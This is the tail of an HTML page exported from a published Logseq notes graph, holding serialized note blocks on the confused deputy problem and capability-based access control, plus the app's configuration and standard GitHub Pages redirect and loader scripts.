realmlogseq____",536879689]],[logseq____"^15logseq____",[1043,logseq____"^Ologseq____",logseq____"^16logseq____",536879660]],[logseq____"^15logseq____",[1043,logseq____"^@logseq____",false,536879660]],[logseq____"^15logseq____",[1043,logseq____"^Flogseq____",1022,536879660]],[logseq____"^15logseq____",[1043,logseq____"^Xlogseq____",1013,536879660]],[logseq____"^15logseq____",[1043,logseq____"^Vlogseq____",1018,536879660]],[logseq____"^15logseq____",[1043,logseq____"^Ulogseq____",1013,536879661]],[logseq____"^15logseq____",[1043,logseq____"^?logseq____",[logseq____"^ logseq____"],536879689]],[logseq____"^15logseq____",[1043,logseq____"^;logseq____",logseq____"~u67bd93e7-2931-421d-b2a4-f28d573c27eclogseq____",536879660]],[logseq____"^15logseq____",[1045,logseq____"^Qlogseq____",logseq____"## Confused Deputylogseq____",536879703]],[logseq____"^15logseq____",[1045,logseq____"^Ologseq____",logseq____"^16logseq____",536879692]],[logseq____"^15logseq____",[1045,logseq____"^@logseq____",false,536879692]],[logseq____"^15logseq____",[1045,logseq____"^Flogseq____",1038,536879694]],[logseq____"^15logseq____",[1045,logseq____"^Xlogseq____",1013,536879692]],[logseq____"^15logseq____",[1045,logseq____"^Vlogseq____",1013,536879694]],[logseq____"^15logseq____",[1045,logseq____"^Ulogseq____",1013,536879693]],[logseq____"^15logseq____",[1045,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536879703]],[logseq____"^15logseq____",[1045,logseq____"^Jlogseq____",[logseq____"^14logseq____",[]],536879703]],[logseq____"^15logseq____",[1045,logseq____"^;logseq____",logseq____"~u67bd9493-7359-43d5-866a-08eed26e6b66logseq____",536879692]],[logseq____"^15logseq____",[1046,logseq____"^Qlogseq____",logseq____"Programs must delegate capabilities to deputy for its functionalitylogseq____",536879721]],[logseq____"^15logseq____",[1046,logseq____"^Ologseq____",logseq____"^16logseq____",536879703]],[logseq____"^15logseq____",[1046,logseq____"^@logseq____",false,536879703]],[logseq____"^15logseq____",[1046,logseq____"^Flogseq____",1045,536879703]],[logseq____"^15logseq____",[1046,logseq____"^Xlogseq____",1013,536879703]],[logseq____"^15logseq____",[1046,logseq____"^Vlogseq____",1045,536879709]],[logseq____"^15logseq____",[1046,logseq____"^Ulogseq____",1013,536879704]],[logseq____"^15logseq____",[1046,logseq____"^?logseq____",[logseq____"^ logseq____"],536879721]],[logseq____"^15logseq____",[1046,logseq____"^;logseq____",logseq____"~u67bd9498-0802-4f64-be31-30b242ae4f7clogseq____",536879703]],[logseq____"^15logseq____",[1047,logseq____"^Qlogseq____",logseq____"Hence, malicious programs cannot abuse it, as they can only use their own capabilitieslogseq____",536879734]],[logseq____"^15logseq____",[1047,logseq____"^Ologseq____",logseq____"^16logseq____",536879721]],[logseq____"^15logseq____",[1047,logseq____"^@logseq____",false,536879721]],[logseq____"^15logseq____",[1047,logseq____"^Flogseq____",1046,536879721]],[logseq____"^15logseq____",[1047,logseq____"^Xlogseq____",1013,536879721]],[logseq____"^15logseq____",[1047,logseq____"^Vlogseq____",1045,536879721]],[logseq____"^15logseq____",[1047,logseq____"^Ulogseq____",1013,536879722]],[logseq____"^15logseq____",[1047,logseq____"^?logseq____",[logseq____"^ logseq____"],536879734]],[logseq____"^15logseq____",[1047,logseq____"^;logseq____",logseq____"~u67bd94ac-c0d0-4f7b-8172-91e28886ae03logseq____",536879721]],[logseq____"^15logseq____",[1049,logseq____"^Qlogseq____",logseq____"Combination with MAC/RBAC/ABAC can define constraints such that capabilities can only be used by certain processeslogseq____",536879785]],[logseq____"^15logseq____",[1049,logseq____"^Ologseq____",logseq____"^16logseq____",536879744]],[logseq____"^15logseq____",[1049,logseq____"^@logseq____",false,536879744]],[logseq____"^15logseq____",[1049,logseq____"^Flogseq____",1041,536879744]],[logseq____"^15logseq____",[1049,logseq____"^Xlogseq____",1013,536879744]],[logseq____"^15logseq____",[1049,logseq____"^Vlogseq____",1038,536879744]],[logseq____"^15logseq____",[1049,logseq____"^Ulogseq____",1013,536879745]],[logseq____"^15logseq____",[1049,logseq____"^?logseq____",[logseq____"^ logseq____"],536879785]],[logseq____"^15logseq____",[1049,logseq____"^;logseq____",logseq____"~u67bd94dc-e45c-4fef-9765-8bb9395dc445logseq____",536879744]]]]]]"</script>
|
||
<script>window.logseq_state="{:ui/theme \"light\", :ui/sidebar-collapsed-blocks {}, :config {\"local\" {:feature/enable-whiteboards? false, :shortcuts {}, :graph/forcesettings {:link-dist 140, :charge-strength -800, :charge-range 1300}, :default-templates {:journals \"\"}, :feature/enable-journals? false, :query/views {:pprint (fn [r] [:pre.code (pprint r)])}, :macros {}, :shortcut/doc-mode-enter-for-new-block? false, :favorites [], :ui/show-empty-bullets? false, :file/name-format :triple-lowbar, :preferred-workflow :now, :publishing/all-pages-public? true, :ref/default-open-blocks-level 2, :feature/enable-block-timestamps? false, :start-of-week 6, :feature/enable-timetracking? false, :ref/linked-references-collapsed-threshold 50, :outliner/block-title-collapse-enabled? false, :commands [], :ui/show-full-blocks? false, :meta/version 1, :hidden [], :default-queries {:journals [{:title \"🔨 NOW\", :query [:find (pull ?h [*]) :in $ ?start ?today :where [?h :block/marker ?marker] [(contains? #{\"NOW\" \"DOING\"} ?marker)] [?h :block/page ?p] [?p :block/journal? true] [?p :block/journal-day ?d] [(>= ?d ?start)] [(<= ?d ?today)]], :inputs [:14d :today], :result-transform (fn [result] (sort-by (fn [h] (get h :block/priority \"Z\")) result)), :group-by-page? false, :collapsed? false} {:title \"📅 NEXT\", :query [:find (pull ?h [*]) :in $ ?start ?next :where [?h :block/marker ?marker] [(contains? #{\"NOW\" \"LATER\" \"TODO\"} ?marker)] [?h :block/page ?p] [?p :block/journal? true] [?p :block/journal-day ?d] [(> ?d ?start)] [(< ?d ?next)]], :inputs [:today :7d-after], :group-by-page? false, :collapsed? false}]}, :ui/auto-expand-block-refs? true, :ui/enable-tooltip? true, :query/result-transforms {:sort-by-priority (fn [result] (sort-by (fn [h] (get h :block/priority \"Z\")) result))}, :graph/settings {:builtin-pages? false}, :property-pages/enabled? true, :block/content-max-length 10000, :ui/show-command-doc? true, :feature/enable-search-remove-accents? true, :default-home {:page \"Topics\"}}}}"</script>
|
||
<script type="text/javascript">// Single Page Apps for GitHub Pages
|
||
// https://github.com/rafgraph/spa-github-pages
|
||
// Copyright (c) 2016 Rafael Pedicini, licensed under the MIT License
|
||
// ----------------------------------------------------------------------
|
||
// This script checks to see if a redirect is present in the query string
|
||
// and converts it back into the correct url and adds it to the
|
||
// browser's history using window.history.replaceState(...),
|
||
// which won't cause the browser to attempt to load the new url.
|
||
// When the single page app is loaded further down in this file,
|
||
// the correct url will be waiting in the browser's history for
|
||
// the single page app to route accordingly.
|
||
(function(l) {
|
||
if (l.search) {
|
||
var q = {};
|
||
l.search.slice(1).split('&').forEach(function(v) {
|
||
var a = v.split('=');
|
||
q[a[0]] = a.slice(1).join('=').replace(/~and~/g, '&');
|
||
});
|
||
if (q.p !== undefined) {
|
||
window.history.replaceState(null, null,
|
||
l.pathname.slice(0, -1) + (q.p || '') +
|
||
(q.q ? ('?' + q.q) : '') +
|
||
l.hash
|
||
);
|
||
}
|
||
}
|
||
}(window.location))</script>
|
||
<script src="static/js/react.production.min.js"></script>
|
||
<script src="static/js/react-dom.production.min.js"></script>
|
||
<script src="static/js/ui.js"></script>
|
||
<script src="static/js/main.js"></script>
|
||
<script src="static/js/interact.min.js"></script>
|
||
<script src="static/js/highlight.min.js"></script>
|
||
<script src="static/js/katex.min.js"></script>
|
||
<script src="static/js/html2canvas.min.js"></script>
|
||
<script src="static/js/code-editor.js"></script>
|
||
<script src="static/js/custom.js"></script>
|
||
</body>
|